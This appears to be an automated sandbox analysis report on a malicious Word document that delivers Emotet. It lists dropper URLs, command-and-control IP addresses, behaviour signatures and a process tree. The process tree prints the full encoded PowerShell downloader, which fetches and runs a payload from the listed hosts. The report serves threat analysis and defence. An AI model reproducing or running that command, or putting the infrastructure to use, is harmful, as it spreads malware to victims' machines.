Analysis

  • max time kernel
    136s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    14/09/2020, 20:45

General

  • Target
    EEX_090120_RJY_091420.doc
  • Size 154KB
  • Sample200914-91da8jalfa
  • SHA256 25495bfd60e1250a8ff4fe5bc5f0360ec275594ca52f86be9d2cef2d2c134734
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://castlestudios.com/images/Z/

  • exe.dropper

    http://khoweb.xyz/wp-includes/OaozkN/

  • exe.dropper

    http://amarettobh.com.br/sys-cache/eXhf8Nc/

  • exe.dropper

    http://caorauducvan.vn/wp-admin/PCsGWi/

  • exe.dropper

    http://sehitgazihaberleri.com/wordpress/W5e1D/

  • exe.dropper

    http://oggisivola.it/5doedb3/3Nk/

  • exe.dropper

    https://hauizone.com/c4ccx/sD/

Extracted

Family
  • emotet

C2
  • 104.32.141.43:80

  • 104.156.59.7:8080

  • 120.138.30.150:8080

  • 139.59.67.118:443

  • 61.92.17.12:80

  • 103.86.49.11:8080

  • 174.45.13.118:80

  • 75.139.38.211:80

  • 104.131.11.150:443

  • 121.124.124.40:7080

  • 200.114.213.233:8080

  • 185.94.252.104:443

  • 181.169.34.190:80

  • 187.161.206.24:80

  • 93.147.212.206:80

  • 176.111.60.55:8080

  • 83.169.36.251:8080

  • 174.102.48.180:443

  • 24.179.13.119:80

  • 120.150.60.189:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\EEX_090120_RJY_091420.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3692
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABPAHUAZgBhAG0ANwBnAD0AKAAoACcAQQAyAHgAJwArACcAMgAnACkAKwAoACcAbgAnACsAJwByAHcAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAcwBlAFIAUAByAE8AZgBpAEwARQBcAFQAZgA2AFAAcgA1ADEAXABlAHAARwBOADcASgBNAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAEUAQwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAUgBpAFQAeQBgAHAAcgBgAE8AdABPAEMATwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAJwArACcAMQAyACcAKQArACcALAAnACsAKAAnACAAJwArACcAdABsAHMAJwApACsAJwAxACcAKwAoACcAMQAnACsAJwAsACAAJwArACcAdABsAHMAJwApACkAOwAkAFkAcABwAGkAcwBmAHUAIAA9ACAAKAAnAEgAdgAnACsAJwBwAGQAJwArACgAJwBmADIANAA0ACcAKwAnAF8AJwApACkAOwAkAEcAcgBiAHUAdQB6AGQAPQAoACcAUgAnACsAKAAnADAAJwArACcAYQB1ACcAKwAnAGYANwBfACcAKQApADsAJABRADEANgBxADcAaAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAFMASwAnACsAKAAnAHQAVABmADYAJwArACcAcAByADUAMQBTAEsAJwArACcAdAAnACkAKwAnAEUAJwArACgAJwBwAGcAJwArACcAbgA3ACcAKQArACcAagAnACsAJwBtACcAKwAoACcAUwBLACcAKwAnAHQAJwApACkAIAAtAEMAUgBFAHAAbABBAEMARQAoAFsAYwBIAEEAUgBdADgAMwArAFsAYwBIAEEAUgBdADcANQArAFsAYwBIAEEAUgBdADEAMQA2ACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWQBwAHAAaQBzAGYAdQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASwAxAGcAXwA4ADEANAA9ACgAKAAnAEMAJwArACcAbAA2ACcAKQArACgAJwBpAHEAJwArACcANQAnACkAKwAnADIAJwApADsAJABQADEANQAzADIAaABsAD0AJgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAEMATABpAGUATgBUADsAJABaADgAaAB2AGYAMwB6AD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwBjAGEAJwApACsAKAAnAHMAJwArACcAdABsAGUAcwAnACkAKwAnAHQAJwArACgAJwB1ACcAKwAnAGQAaQAnACkAKwAoACcAbwBzACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AJwArACcAaQAnACkAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAWgAnACkAKwAoACcALwAqAGgAdAAnACsAJwB0AHAAJwApACsAKAAnADoAJwArACcALwAvAGsAaABvACcAKwAnAHcAZQBiACcAKwAnAC4AeAB5ACcAKQArACcAegAnACsAJwAvACcAKwAoACcAdwBwAC0AaQAnACsAJwBuAGMAbAAnACkAKwAnAHUAZAAnACsAJwBlACcAKwAnAHMALwAnACsAKAAnAE8AJwArACcAYQBvACcAKQArACgAJwB6ACcAKwAnAGsATgAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AYQBtAGEAJwArACcAcgAnACkAKwAnAGUAJwArACcAdAB0ACcAKwAoACcAbwAnACsAJwBiAGgALgAnACsAJwBjAG8AbQAuACcAKQArACcAYgAnACsAJwByAC8AJwArACcAcwB5ACcAKwAnAHMALQAnACsAKAAnAGMAJwArACcAYQBjAGgAJwApACsAKAAnAGUAJwArACcALwBlAFgAJwApACsAKAAnAGgAZgAnACsAJwA4ACcAKQArACcATgAnACsAJwBjAC8AJwArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAJwBjAGEAJwArACgAJwBvACcAKwAnAHIAYQB1ACcAKQArACgAJwBkACcAKwAnAHUAYwAnACkAKwAnAHYAYQAnACsAKAAnAG4AJwArACcALgB2ACcAKQArACgAJwBuACcAKwAnAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGEAJwApACsAKAAnAGQAJwArACcAbQBpAG4ALwAnACkAKwAoACcAUABDAHMARwAnACsAJwBXACcAKQArACcAaQAvACcAKwAoACcAKgBoAHQAdABwADoAJwArACcALwAnACsAJwAvACcAKwAnAHMAZQBoAGkAdABnACcAKQArACcAYQAnACsAKAAnAHoAaQAnACsAJwBoACcAKQArACgAJwBhACcAKwAnAGIAZQByAGwAZQAnACkAKwAoACcAcgAnACsAJwBpAC4AYwBvAG0ALwAnACkAKwAoACcAdwBvACcAKwAnAHIAZABwAHIAZQAnACsAJwBzAHMALwAnACkAKwAoACcAVwAnACsAJwA1AGUAJwArACcAMQBEACcAKwAnAC8AKgAnACsAJwBoAHQAdABwADoALwAnACkAKwAnAC8AJwArACcAbwAnACsAJwBnACcAKwAoACcAZwBpACcAKwAnAHMAJwApACsAJwBpACcAKwAoACcAdgBvACcAKwAnAGwAYQAnACkAKwAnAC4AJwArACgAJwBpAHQALwAnACsAJwA1AGQAJwArACcAbwBlAGQAYgAnACkAKwAnADMAJwArACcALwAnACsAJwAzACcAKwAoACcATgAnACsAJwBrAC8AKgBoAHQAdAAnACkAKwAnAHAAcwAnACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwBoAGEAdQAnACsAJwBpAHoAbwAnACkAKwAoACcAbgBlACcAKwAnAC4AYwBvAG0ALwBjADQAJwApACsAKAAnAGMAJwArACcAYwB4AC8AcwAnACsAJwBEAC8AJwApACkALgAiAFMAUABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQAzAHcAMQAxAHEAaAA9ACgAKAAnAFEAdQAnACsAJwA0ACcAKQArACcAeQAnACsAKAAnADcAMgAnACsAJwBxACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQQA2AGMAZgBqAGEAZgAgAGkAbgAgACQAWgA4AGgAdgBmADMAegApAHsAdAByAHkAewAkAFAAMQA1ADMAMgBoAGwALgAiAEQAYABvAFcAbgBsAE8AYQBkAGYAaQBgAEwAZQAiACgAJABBADYAYwBmAGoAYQBmACwAIAAkAFEAMQA2AHEANwBoADgAKQA7ACQARABjAG0AZAB4AGEAeQA9ACgAKAAnAFIAMwAnACsAJwBxAGkANgAnACkAKwAnADYAbgAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUQAxADYAcQA3AGgAOAApAC4AIgBMAEUATgBHAGAAVABoACIAIAAtAGcAZQAgADMANgA3ADcANAApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABRADEANgBxADcAaAA4ACkAOwAkAFIAdABvAGsAagBvADAAPQAoACcARgAnACsAKAAnAG0AJwArACcAbgA4AGYAJwApACsAJwBwAG4AJwApADsAYgByAGUAYQBrADsAJABJAGQAbwBzAHgAMQBfAD0AKAAnAEIAJwArACcAYgAnACsAKAAnADkAXwAwAGUAJwArACcANAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBxAGgAaABiAGoANwA9ACgAKAAnAEoAdgBxAHoAJwArACcAawAnACkAKwAnAHgAdAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2152
    • C:\Users\Admin\Tf6pr51\Epgn7jm\Hvpdf244_.exe
      "C:\Users\Admin\Tf6pr51\Epgn7jm\Hvpdf244_.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2220
      • C:\Windows\SysWOW64\rtffilt\shlwapi.exe
        "C:\Windows\SysWOW64\rtffilt\shlwapi.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:412

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/412-21-0x00000000020D0000-0x00000000020E0000-memory.dmp

        memory/412-20-0x00000000006D0000-0x00000000006E2000-memory.dmp

        memory/2152-10-0x00007FFDB5280000-0x00007FFDB5C6C000-memory.dmp

        memory/2152-11-0x00000277D7FA0000-0x00000277D7FA1000-memory.dmp

        memory/2152-12-0x00000277F0310000-0x00000277F0311000-memory.dmp

        memory/2220-16-0x0000000000650000-0x0000000000662000-memory.dmp

        memory/2220-17-0x0000000000670000-0x0000000000680000-memory.dmp

        memory/3692-0-0x00007FFDBCAC0000-0x00007FFDBD186000-memory.dmp

        memory/3692-9-0x00000259CB5DC000-0x00000259CB5E1000-memory.dmp

        memory/3692-8-0x00000259CB5DC000-0x00000259CB5E1000-memory.dmp

        memory/3692-6-0x00000259C9164000-0x00000259C9169000-memory.dmp

        memory/3692-5-0x00000259CB4A3000-0x00000259CB4A8000-memory.dmp

        memory/3692-7-0x00000259CB5DC000-0x00000259CB5E1000-memory.dmp

        memory/3692-4-0x00000259CB4A8000-0x00000259CB4AB000-memory.dmp

        memory/3692-3-0x00000259CB4A3000-0x00000259CB4A8000-memory.dmp

        memory/3692-2-0x00000259CB4A8000-0x00000259CB4AB000-memory.dmp

        memory/3692-1-0x00000259CB4A8000-0x00000259CB4AB000-memory.dmp